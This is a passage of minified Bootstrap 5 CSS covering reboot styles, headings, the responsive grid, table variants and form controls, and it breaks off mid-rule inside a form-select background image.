(prefers-reduced-motion:no-preference){:root{scroll-behavior:smooth}}body{margin:0;font-family:var(--bs-body-font-family);font-size:var(--bs-body-font-size);font-weight:var(--bs-body-font-weight);line-height:var(--bs-body-line-height);color:var(--bs-body-color);text-align:var(--bs-body-text-align);background-color:var(--bs-body-bg);-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}hr{margin:1rem 0;color:inherit;border:0;border-top:1px solid;opacity:.25}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2;color:var(--bs-heading-color)}.h1,h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width:1200px){.h1,h1{font-size:2.5rem}}.h2,h2{font-size:calc(1.325rem + .9vw)}@media (min-width:1200px){.h2,h2{font-size:2rem}}.h3,h3{font-size:calc(1.3rem + .6vw)}@media (min-width:1200px){.h3,h3{font-size:1.75rem}}.h4,h4{font-size:calc(1.275rem + .3vw)}@media (min-width:1200px){.h4,h4{font-size:1.5rem}}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}p{margin-top:0;margin-bottom:1rem}abbr[title]{-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul{padding-left:2rem}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}.small,small{font-size:.875em}.mark,mark{padding:.1875em;background-color:var(--bs-highlight-bg)}sub,sup{position:relative;font-size:.75em;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:var(--bs-link-color);text-decoration:underline}a:hover{color:var(--bs-link-hover-color)}a:not([href]):not([class]),a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:var(--bs-font-monospace);font-size:1em}pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font-size:.875em}pre code{font-size:inherit;color:inherit;word-break:normal}code{font-size:.875em;color:var(--bs-code-color);word-wrap:break-word}a>code{color:inherit}kbd{padding:.1875rem .375rem;font-size:.875em;color:var(--bs-body-bg);background-color:var(--bs-body-color);border-radius:.25rem}kbd kbd{padding:0;font-size:1em}figure{margin:0 0 1rem}img,svg{vertical-align:middle}table{caption-side:bottom;border-collapse:collapse}caption{padding-top:.5rem;padding-bottom:.5rem;color:rgba(var(--bs-body-color-rgb),.75);text-align:left}th{text-align:inherit;text-align:-webkit-match-parent}tbody,td,tfoot,th,thead,tr{border-color:inherit;border-style:solid;border-width:0}label{display:inline-block}button{border-radius:0}button:focus:not(:focus-visible){outline:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}select:disabled{opacity:1}[list]:not([type=date]):not([type=datetime-local]):not([type=month]):not([type=week]):not([type=time])::-webkit-calendar-picker-indicator{display:none!important}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}::-moz-focus-inner{padding:0;border-style:none}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{float:left;width:100%;padding:0;margin-bottom:.5rem;font-size:calc(1.275rem + .3vw);line-height:inherit}@media (min-width:1200px){legend{font-size:1.5rem}}legend+*{clear:left}::-webkit-datetime-edit-day-field,::-webkit-datetime-edit-fields-wrapper,::-webkit-datetime-edit-hour-field,::-webkit-datetime-edit-minute,::-webkit-datetime-edit-month-field,::-webkit-datetime-edit-text,::-webkit-datetime-edit-year-field{padding:0}::-webkit-inner-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:textfield}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}::file-selector-button{font:inherit;-webkit-appearance:button}output{display:inline-block}iframe{border:0}summary{display:list-item;cursor:pointer}progress{vertical-align:baseline}[hidden]{display:none!important}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:calc(1.625rem + 4.5vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-1{font-size:5rem}}.display-2{font-size:calc(1.575rem + 3.9vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-2{font-size:4.5rem}}.display-3{font-size:calc(1.525rem + 3.3vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-3{font-size:4rem}}.display-4{font-size:calc(1.475rem + 2.7vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-4{font-size:3.5rem}}.display-5{font-size:calc(1.425rem + 2.1vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-5{font-size:3rem}}.display-6{font-size:calc(1.375rem + 1.5vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-6{font-size:2.5rem}}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:.875em;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote>:last-child{margin-bottom:0}.blockquote-footer{margin-top:-1rem;margin-bottom:1rem;font-size:.875em;color:#6c757d}.blockquote-footer::before{content:"— "}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:#fff;border:1px solid var(--bs-border-color);border-radius:.375rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:.875em;color:#6c757d}.container,.container-fluid,.container-lg,.container-md,.container-sm,.container-xl,.container-xxl{--bs-gutter-x:1.5rem;--bs-gutter-y:0;width:100%;padding-right:calc(var(--bs-gutter-x) * .5);padding-left:calc(var(--bs-gutter-x) * .5);margin-right:auto;margin-left:auto}@media (min-width:576px){.container,.container-sm{max-width:540px}}@media (min-width:768px){.container,.container-md,.container-sm{max-width:720px}}@media (min-width:992px){.container,.container-lg,.container-md,.container-sm{max-width:960px}}@media (min-width:1200px){.container,.container-lg,.container-md,.container-sm,.container-xl{max-width:1140px}}@media (min-width:1400px){.container,.container-lg,.container-md,.container-sm,.container-xl,.container-xxl{max-width:1320px}}.row{--bs-gutter-x:1.5rem;--bs-gutter-y:0;display:flex;flex-wrap:wrap;margin-top:calc(-1 * var(--bs-gutter-y));margin-right:calc(-.5 * var(--bs-gutter-x));margin-left:calc(-.5 * var(--bs-gutter-x))}.row>*{flex-shrink:0;width:100%;max-width:100%;padding-right:calc(var(--bs-gutter-x) * .5);padding-left:calc(var(--bs-gutter-x) * .5);margin-top:var(--bs-gutter-y)}.col{flex:1 0 0%}.row-cols-auto>*{flex:0 0 auto;width:auto}.row-cols-1>*{flex:0 0 auto;width:100%}.row-cols-2>*{flex:0 0 auto;width:50%}.row-cols-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-4>*{flex:0 0 auto;width:25%}.row-cols-5>*{flex:0 0 auto;width:20%}.row-cols-6>*{flex:0 0 auto;width:16.6666666667%}.col-auto{flex:0 0 auto;width:auto}.col-1{flex:0 0 auto;width:8.33333333%}.col-2{flex:0 0 auto;width:16.66666667%}.col-3{flex:0 0 auto;width:25%}.col-4{flex:0 0 auto;width:33.33333333%}.col-5{flex:0 0 auto;width:41.66666667%}.col-6{flex:0 0 auto;width:50%}.col-7{flex:0 0 auto;width:58.33333333%}.col-8{flex:0 0 auto;width:66.66666667%}.col-9{flex:0 0 auto;width:75%}.col-10{flex:0 0 auto;width:83.33333333%}.col-11{flex:0 0 auto;width:91.66666667%}.col-12{flex:0 0 auto;width:100%}.offset-1{margin-left:8.33333333%}.offset-2{margin-left:16.66666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.33333333%}.offset-5{margin-left:41.66666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.33333333%}.offset-8{margin-left:66.66666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.33333333%}.offset-11{margin-left:91.66666667%}.g-0,.gx-0{--bs-gutter-x:0}.g-0,.gy-0{--bs-gutter-y:0}.g-1,.gx-1{--bs-gutter-x:0.25rem}.g-1,.gy-1{--bs-gutter-y:0.25rem}.g-2,.gx-2{--bs-gutter-x:0.5rem}.g-2,.gy-2{--bs-gutter-y:0.5rem}.g-3,.gx-3{--bs-gutter-x:1rem}.g-3,.gy-3{--bs-gutter-y:1rem}.g-4,.gx-4{--bs-gutter-x:1.5rem}.g-4,.gy-4{--bs-gutter-y:1.5rem}.g-5,.gx-5{--bs-gutter-x:3rem}.g-5,.gy-5{--bs-gutter-y:3rem}@media (min-width:576px){.col-sm{flex:1 0 0%}.row-cols-sm-auto>*{flex:0 0 auto;width:auto}.row-cols-sm-1>*{flex:0 0 auto;width:100%}.row-cols-sm-2>*{flex:0 0 auto;width:50%}.row-cols-sm-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-sm-4>*{flex:0 0 auto;width:25%}.row-cols-sm-5>*{flex:0 0 auto;width:20%}.row-cols-sm-6>*{flex:0 0 auto;width:16.6666666667%}.col-sm-auto{flex:0 0 auto;width:auto}.col-sm-1{flex:0 0 auto;width:8.33333333%}.col-sm-2{flex:0 0 auto;width:16.66666667%}.col-sm-3{flex:0 0 auto;width:25%}.col-sm-4{flex:0 0 auto;width:33.33333333%}.col-sm-5{flex:0 0 auto;width:41.66666667%}.col-sm-6{flex:0 0 auto;width:50%}.col-sm-7{flex:0 0 auto;width:58.33333333%}.col-sm-8{flex:0 0 auto;width:66.66666667%}.col-sm-9{flex:0 0 auto;width:75%}.col-sm-10{flex:0 0 auto;width:83.33333333%}.col-sm-11{flex:0 0 auto;width:91.66666667%}.col-sm-12{flex:0 0 auto;width:100%}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.33333333%}.offset-sm-2{margin-left:16.66666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.33333333%}.offset-sm-5{margin-left:41.66666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.33333333%}.offset-sm-8{margin-left:66.66666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.33333333%}.offset-sm-11{margin-left:91.66666667%}.g-sm-0,.gx-sm-0{--bs-gutter-x:0}.g-sm-0,.gy-sm-0{--bs-gutter-y:0}.g-sm-1,.gx-sm-1{--bs-gutter-x:0.25rem}.g-sm-1,.gy-sm-1{--bs-gutter-y:0.25rem}.g-sm-2,.gx-sm-2{--bs-gutter-x:0.5rem}.g-sm-2,.gy-sm-2{--bs-gutter-y:0.5rem}.g-sm-3,.gx-sm-3{--bs-gutter-x:1rem}.g-sm-3,.gy-sm-3{--bs-gutter-y:1rem}.g-sm-4,.gx-sm-4{--bs-gutter-x:1.5rem}.g-sm-4,.gy-sm-4{--bs-gutter-y:1.5rem}.g-sm-5,.gx-sm-5{--bs-gutter-x:3rem}.g-sm-5,.gy-sm-5{--bs-gutter-y:3rem}}@media (min-width:768px){.col-md{flex:1 0 0%}.row-cols-md-auto>*{flex:0 0 auto;width:auto}.row-cols-md-1>*{flex:0 0 auto;width:100%}.row-cols-md-2>*{flex:0 0 auto;width:50%}.row-cols-md-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-md-4>*{flex:0 0 auto;width:25%}.row-cols-md-5>*{flex:0 0 auto;width:20%}.row-cols-md-6>*{flex:0 0 auto;width:16.6666666667%}.col-md-auto{flex:0 0 auto;width:auto}.col-md-1{flex:0 0 auto;width:8.33333333%}.col-md-2{flex:0 0 auto;width:16.66666667%}.col-md-3{flex:0 0 auto;width:25%}.col-md-4{flex:0 0 auto;width:33.33333333%}.col-md-5{flex:0 0 auto;width:41.66666667%}.col-md-6{flex:0 0 auto;width:50%}.col-md-7{flex:0 0 auto;width:58.33333333%}.col-md-8{flex:0 0 auto;width:66.66666667%}.col-md-9{flex:0 0 auto;width:75%}.col-md-10{flex:0 0 auto;width:83.33333333%}.col-md-11{flex:0 0 auto;width:91.66666667%}.col-md-12{flex:0 0 auto;width:100%}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.33333333%}.offset-md-2{margin-left:16.66666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.33333333%}.offset-md-5{margin-left:41.66666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.33333333%}.offset-md-8{margin-left:66.66666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.33333333%}.offset-md-11{margin-left:91.66666667%}.g-md-0,.gx-md-0{--bs-gutter-x:0}.g-md-0,.gy-md-0{--bs-gutter-y:0}.g-md-1,.gx-md-1{--bs-gutter-x:0.25rem}.g-md-1,.gy-md-1{--bs-gutter-y:0.25rem}.g-md-2,.gx-md-2{--bs-gutter-x:0.5rem}.g-md-2,.gy-md-2{--bs-gutter-y:0.5rem}.g-md-3,.gx-md-3{--bs-gutter-x:1rem}.g-md-3,.gy-md-3{--bs-gutter-y:1rem}.g-md-4,.gx-md-4{--bs-gutter-x:1.5rem}.g-md-4,.gy-md-4{--bs-gutter-y:1.5rem}.g-md-5,.gx-md-5{--bs-gutter-x:3rem}.g-md-5,.gy-md-5{--bs-gutter-y:3rem}}@media (min-width:992px){.col-lg{flex:1 0 0%}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.6666666667%}.col-lg-auto{flex:0 0 auto;width:auto}.col-lg-1{flex:0 0 auto;width:8.33333333%}.col-lg-2{flex:0 0 auto;width:16.66666667%}.col-lg-3{flex:0 0 auto;width:25%}.col-lg-4{flex:0 0 auto;width:33.33333333%}.col-lg-5{flex:0 0 auto;width:41.66666667%}.col-lg-6{flex:0 0 auto;width:50%}.col-lg-7{flex:0 0 auto;width:58.33333333%}.col-lg-8{flex:0 0 auto;width:66.66666667%}.col-lg-9{flex:0 0 auto;width:75%}.col-lg-10{flex:0 0 auto;width:83.33333333%}.col-lg-11{flex:0 0 auto;width:91.66666667%}.col-lg-12{flex:0 0 auto;width:100%}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.33333333%}.offset-lg-2{margin-left:16.66666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.33333333%}.offset-lg-5{margin-left:41.66666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.33333333%}.offset-lg-8{margin-left:66.66666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.33333333%}.offset-lg-11{margin-left:91.66666667%}.g-lg-0,.gx-lg-0{--bs-gutter-x:0}.g-lg-0,.gy-lg-0{--bs-gutter-y:0}.g-lg-1,.gx-lg-1{--bs-gutter-x:0.25rem}.g-lg-1,.gy-lg-1{--bs-gutter-y:0.25rem}.g-lg-2,.gx-lg-2{--bs-gutter-x:0.5rem}.g-lg-2,.gy-lg-2{--bs-gutter-y:0.5rem}.g-lg-3,.gx-lg-3{--bs-gutter-x:1rem}.g-lg-3,.gy-lg-3{--bs-gutter-y:1rem}.g-lg-4,.gx-lg-4{--bs-gutter-x:1.5rem}.g-lg-4,.gy-lg-4{--bs-gutter-y:1.5rem}.g-lg-5,.gx-lg-5{--bs-gutter-x:3rem}.g-lg-5,.gy-lg-5{--bs-gutter-y:3rem}}@media (min-width:1200px){.col-xl{flex:1 0 0%}.row-cols-xl-auto>*{flex:0 0 auto;width:auto}.row-cols-xl-1>*{flex:0 0 auto;width:100%}.row-cols-xl-2>*{flex:0 0 auto;width:50%}.row-cols-xl-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-xl-4>*{flex:0 0 auto;width:25%}.row-cols-xl-5>*{flex:0 0 auto;width:20%}.row-cols-xl-6>*{flex:0 0 auto;width:16.6666666667%}.col-xl-auto{flex:0 0 auto;width:auto}.col-xl-1{flex:0 0 auto;width:8.33333333%}.col-xl-2{flex:0 0 auto;width:16.66666667%}.col-xl-3{flex:0 0 auto;width:25%}.col-xl-4{flex:0 0 auto;width:33.33333333%}.col-xl-5{flex:0 0 auto;width:41.66666667%}.col-xl-6{flex:0 0 auto;width:50%}.col-xl-7{flex:0 0 auto;width:58.33333333%}.col-xl-8{flex:0 0 auto;width:66.66666667%}.col-xl-9{flex:0 0 auto;width:75%}.col-xl-10{flex:0 0 auto;width:83.33333333%}.col-xl-11{flex:0 0 auto;width:91.66666667%}.col-xl-12{flex:0 0 auto;width:100%}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.33333333%}.offset-xl-2{margin-left:16.66666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.33333333%}.offset-xl-5{margin-left:41.66666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.33333333%}.offset-xl-8{margin-left:66.66666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.33333333%}.offset-xl-11{margin-left:91.66666667%}.g-xl-0,.gx-xl-0{--bs-gutter-x:0}.g-xl-0,.gy-xl-0{--bs-gutter-y:0}.g-xl-1,.gx-xl-1{--bs-gutter-x:0.25rem}.g-xl-1,.gy-xl-1{--bs-gutter-y:0.25rem}.g-xl-2,.gx-xl-2{--bs-gutter-x:0.5rem}.g-xl-2,.gy-xl-2{--bs-gutter-y:0.5rem}.g-xl-3,.gx-xl-3{--bs-gutter-x:1rem}.g-xl-3,.gy-xl-3{--bs-gutter-y:1rem}.g-xl-4,.gx-xl-4{--bs-gutter-x:1.5rem}.g-xl-4,.gy-xl-4{--bs-gutter-y:1.5rem}.g-xl-5,.gx-xl-5{--bs-gutter-x:3rem}.g-xl-5,.gy-xl-5{--bs-gutter-y:3rem}}@media (min-width:1400px){.col-xxl{flex:1 0 0%}.row-cols-xxl-auto>*{flex:0 0 auto;width:auto}.row-cols-xxl-1>*{flex:0 0 auto;width:100%}.row-cols-xxl-2>*{flex:0 0 auto;width:50%}.row-cols-xxl-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-xxl-4>*{flex:0 0 auto;width:25%}.row-cols-xxl-5>*{flex:0 0 auto;width:20%}.row-cols-xxl-6>*{flex:0 0 auto;width:16.6666666667%}.col-xxl-auto{flex:0 0 auto;width:auto}.col-xxl-1{flex:0 0 auto;width:8.33333333%}.col-xxl-2{flex:0 0 auto;width:16.66666667%}.col-xxl-3{flex:0 0 auto;width:25%}.col-xxl-4{flex:0 0 auto;width:33.33333333%}.col-xxl-5{flex:0 0 auto;width:41.66666667%}.col-xxl-6{flex:0 0 auto;width:50%}.col-xxl-7{flex:0 0 auto;width:58.33333333%}.col-xxl-8{flex:0 0 auto;width:66.66666667%}.col-xxl-9{flex:0 0 auto;width:75%}.col-xxl-10{flex:0 0 auto;width:83.33333333%}.col-xxl-11{flex:0 0 auto;width:91.66666667%}.col-xxl-12{flex:0 0 auto;width:100%}.offset-xxl-0{margin-left:0}.offset-xxl-1{margin-left:8.33333333%}.offset-xxl-2{margin-left:16.66666667%}.offset-xxl-3{margin-left:25%}.offset-xxl-4{margin-left:33.33333333%}.offset-xxl-5{margin-left:41.66666667%}.offset-xxl-6{margin-left:50%}.offset-xxl-7{margin-left:58.33333333%}.offset-xxl-8{margin-left:66.66666667%}.offset-xxl-9{margin-left:75%}.offset-xxl-10{margin-left:83.33333333%}.offset-xxl-11{margin-left:91.66666667%}.g-xxl-0,.gx-xxl-0{--bs-gutter-x:0}.g-xxl-0,.gy-xxl-0{--bs-gutter-y:0}.g-xxl-1,.gx-xxl-1{--bs-gutter-x:0.25rem}.g-xxl-1,.gy-xxl-1{--bs-gutter-y:0.25rem}.g-xxl-2,.gx-xxl-2{--bs-gutter-x:0.5rem}.g-xxl-2,.gy-xxl-2{--bs-gutter-y:0.5rem}.g-xxl-3,.gx-xxl-3{--bs-gutter-x:1rem}.g-xxl-3,.gy-xxl-3{--bs-gutter-y:1rem}.g-xxl-4,.gx-xxl-4{--bs-gutter-x:1.5rem}.g-xxl-4,.gy-xxl-4{--bs-gutter-y:1.5rem}.g-xxl-5,.gx-xxl-5{--bs-gutter-x:3rem}.g-xxl-5,.gy-xxl-5{--bs-gutter-y:3rem}}.table{--bs-table-color:var(--bs-body-color);--bs-table-bg:transparent;--bs-table-border-color:var(--bs-border-color);--bs-table-accent-bg:transparent;--bs-table-striped-color:var(--bs-body-color);--bs-table-striped-bg:rgba(0, 0, 0, 0.05);--bs-table-active-color:var(--bs-body-color);--bs-table-active-bg:rgba(0, 0, 0, 0.1);--bs-table-hover-color:var(--bs-body-color);--bs-table-hover-bg:rgba(0, 0, 0, 0.075);width:100%;margin-bottom:1rem;color:var(--bs-table-color);vertical-align:top;border-color:var(--bs-table-border-color)}.table>:not(caption)>*>*{padding:.5rem .5rem;background-color:var(--bs-table-bg);border-bottom-width:1px;box-shadow:inset 0 0 0 9999px var(--bs-table-accent-bg)}.table>tbody{vertical-align:inherit}.table>thead{vertical-align:bottom}.table-group-divider{border-top:2px solid currentcolor}.caption-top{caption-side:top}.table-sm>:not(caption)>*>*{padding:.25rem .25rem}.table-bordered>:not(caption)>*{border-width:1px 0}.table-bordered>:not(caption)>*>*{border-width:0 1px}.table-borderless>:not(caption)>*>*{border-bottom-width:0}.table-borderless>:not(:first-child){border-top-width:0}.table-striped>tbody>tr:nth-of-type(odd)>*{--bs-table-accent-bg:var(--bs-table-striped-bg);color:var(--bs-table-striped-color)}.table-striped-columns>:not(caption)>tr>:nth-child(2n){--bs-table-accent-bg:var(--bs-table-striped-bg);color:var(--bs-table-striped-color)}.table-active{--bs-table-accent-bg:var(--bs-table-active-bg);color:var(--bs-table-active-color)}.table-hover>tbody>tr:hover>*{--bs-table-accent-bg:var(--bs-table-hover-bg);color:var(--bs-table-hover-color)}.table-primary{--bs-table-color:#000;--bs-table-bg:#cfe2ff;--bs-table-border-color:#bacbe6;--bs-table-striped-bg:#c5d7f2;--bs-table-striped-color:#000;--bs-table-active-bg:#bacbe6;--bs-table-active-color:#000;--bs-table-hover-bg:#bfd1ec;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-secondary{--bs-table-color:#000;--bs-table-bg:#e2e3e5;--bs-table-border-color:#cbccce;--bs-table-striped-bg:#d7d8da;--bs-table-striped-color:#000;--bs-table-active-bg:#cbccce;--bs-table-active-color:#000;--bs-table-hover-bg:#d1d2d4;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-success{--bs-table-color:#000;--bs-table-bg:#d1e7dd;--bs-table-border-color:#bcd0c7;--bs-table-striped-bg:#c7dbd2;--bs-table-striped-color:#000;--bs-table-active-bg:#bcd0c7;--bs-table-active-color:#000;--bs-table-hover-bg:#c1d6cc;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-info{--bs-table-color:#000;--bs-table-bg:#cff4fc;--bs-table-border-color:#badce3;--bs-table-striped-bg:#c5e8ef;--bs-table-striped-color:#000;--bs-table-active-bg:#badce3;--bs-table-active-color:#000;--bs-table-hover-bg:#bfe2e9;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-warning{--bs-table-color:#000;--bs-table-bg:#fff3cd;--bs-table-border-color:#e6dbb9;--bs-table-striped-bg:#f2e7c3;--bs-table-striped-color:#000;--bs-table-active-bg:#e6dbb9;--bs-table-active-color:#000;--bs-table-hover-bg:#ece1be;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-danger{--bs-table-color:#000;--bs-table-bg:#f8d7da;--bs-table-border-color:#dfc2c4;--bs-table-striped-bg:#eccccf;--bs-table-striped-color:#000;--bs-table-active-bg:#dfc2c4;--bs-table-active-color:#000;--bs-table-hover-bg:#e5c7ca;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-light{--bs-table-color:#000;--bs-table-bg:#f8f9fa;--bs-table-border-color:#dfe0e1;--bs-table-striped-bg:#ecedee;--bs-table-striped-color:#000;--bs-table-active-bg:#dfe0e1;--bs-table-active-color:#000;--bs-table-hover-bg:#e5e6e7;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-dark{--bs-table-color:#fff;--bs-table-bg:#212529;--bs-table-border-color:#373b3e;--bs-table-striped-bg:#2c3034;--bs-table-striped-color:#fff;--bs-table-active-bg:#373b3e;--bs-table-active-color:#fff;--bs-table-hover-bg:#323539;--bs-table-hover-color:#fff;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-responsive{overflow-x:auto;-webkit-overflow-scrolling:touch}@media (max-width:575.98px){.table-responsive-sm{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:767.98px){.table-responsive-md{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:991.98px){.table-responsive-lg{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:1199.98px){.table-responsive-xl{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:1399.98px){.table-responsive-xxl{overflow-x:auto;-webkit-overflow-scrolling:touch}}.form-label{margin-bottom:.5rem}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:calc(.5rem + 1px);font-size:1.25rem}.col-form-label-sm{padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);font-size:.875rem}.form-text{margin-top:.25rem;font-size:.875em;color:rgba(var(--bs-body-color-rgb),.75)}.form-control{display:block;width:100%;padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#212529;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;-webkit-appearance:none;-moz-appearance:none;appearance:none;border-radius:.375rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control[type=file]{overflow:hidden}.form-control[type=file]:not(:disabled):not([readonly]){cursor:pointer}.form-control:focus{color:#212529;background-color:#fff;border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.form-control::-webkit-date-and-time-value{height:1.5em}.form-control::-moz-placeholder{color:#6c757d;opacity:1}.form-control::placeholder{color:#6c757d;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#e9ecef;opacity:1}.form-control::-webkit-file-upload-button{padding:.375rem .75rem;margin:-.375rem -.75rem;-webkit-margin-end:.75rem;margin-inline-end:.75rem;color:#212529;background-color:#e9ecef;pointer-events:none;border-color:inherit;border-style:solid;border-width:0;border-inline-end-width:1px;border-radius:0;-webkit-transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}.form-control::file-selector-button{padding:.375rem .75rem;margin:-.375rem -.75rem;-webkit-margin-end:.75rem;margin-inline-end:.75rem;color:#212529;background-color:#e9ecef;pointer-events:none;border-color:inherit;border-style:solid;border-width:0;border-inline-end-width:1px;border-radius:0;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control::-webkit-file-upload-button{-webkit-transition:none;transition:none}.form-control::file-selector-button{transition:none}}.form-control:hover:not(:disabled):not([readonly])::-webkit-file-upload-button{background-color:#dde0e3}.form-control:hover:not(:disabled):not([readonly])::file-selector-button{background-color:#dde0e3}.form-control-plaintext{display:block;width:100%;padding:.375rem 0;margin-bottom:0;line-height:1.5;color:#212529;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm{padding-right:0;padding-left:0}.form-control-sm{min-height:calc(1.5em + .5rem + 2px);padding:.25rem .5rem;font-size:.875rem;border-radius:.25rem}.form-control-sm::-webkit-file-upload-button{padding:.25rem .5rem;margin:-.25rem -.5rem;-webkit-margin-end:.5rem;margin-inline-end:.5rem}.form-control-sm::file-selector-button{padding:.25rem .5rem;margin:-.25rem -.5rem;-webkit-margin-end:.5rem;margin-inline-end:.5rem}.form-control-lg{min-height:calc(1.5em + 1rem + 2px);padding:.5rem 1rem;font-size:1.25rem;border-radius:.5rem}.form-control-lg::-webkit-file-upload-button{padding:.5rem 1rem;margin:-.5rem -1rem;-webkit-margin-end:1rem;margin-inline-end:1rem}.form-control-lg::file-selector-button{padding:.5rem 1rem;margin:-.5rem -1rem;-webkit-margin-end:1rem;margin-inline-end:1rem}textarea.form-control{min-height:calc(1.5em + .75rem + 2px)}textarea.form-control-sm{min-height:calc(1.5em + .5rem + 2px)}textarea.form-control-lg{min-height:calc(1.5em + 1rem + 2px)}.form-control-color{width:3rem;height:auto;padding:.375rem}.form-control-color:not(:disabled):not([readonly]){cursor:pointer}.form-control-color::-moz-color-swatch{height:1.5em;border-radius:.375rem}.form-control-color::-webkit-color-swatch{height:1.5em;border-radius:.375rem}.form-select{display:block;width:100%;padding:.375rem 2.25rem .375rem .75rem;-moz-padding-start:calc(0.75rem - 3px);font-size:1rem;font-weight:400;line-height:1.5;color:#212529;background-color:#fff;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 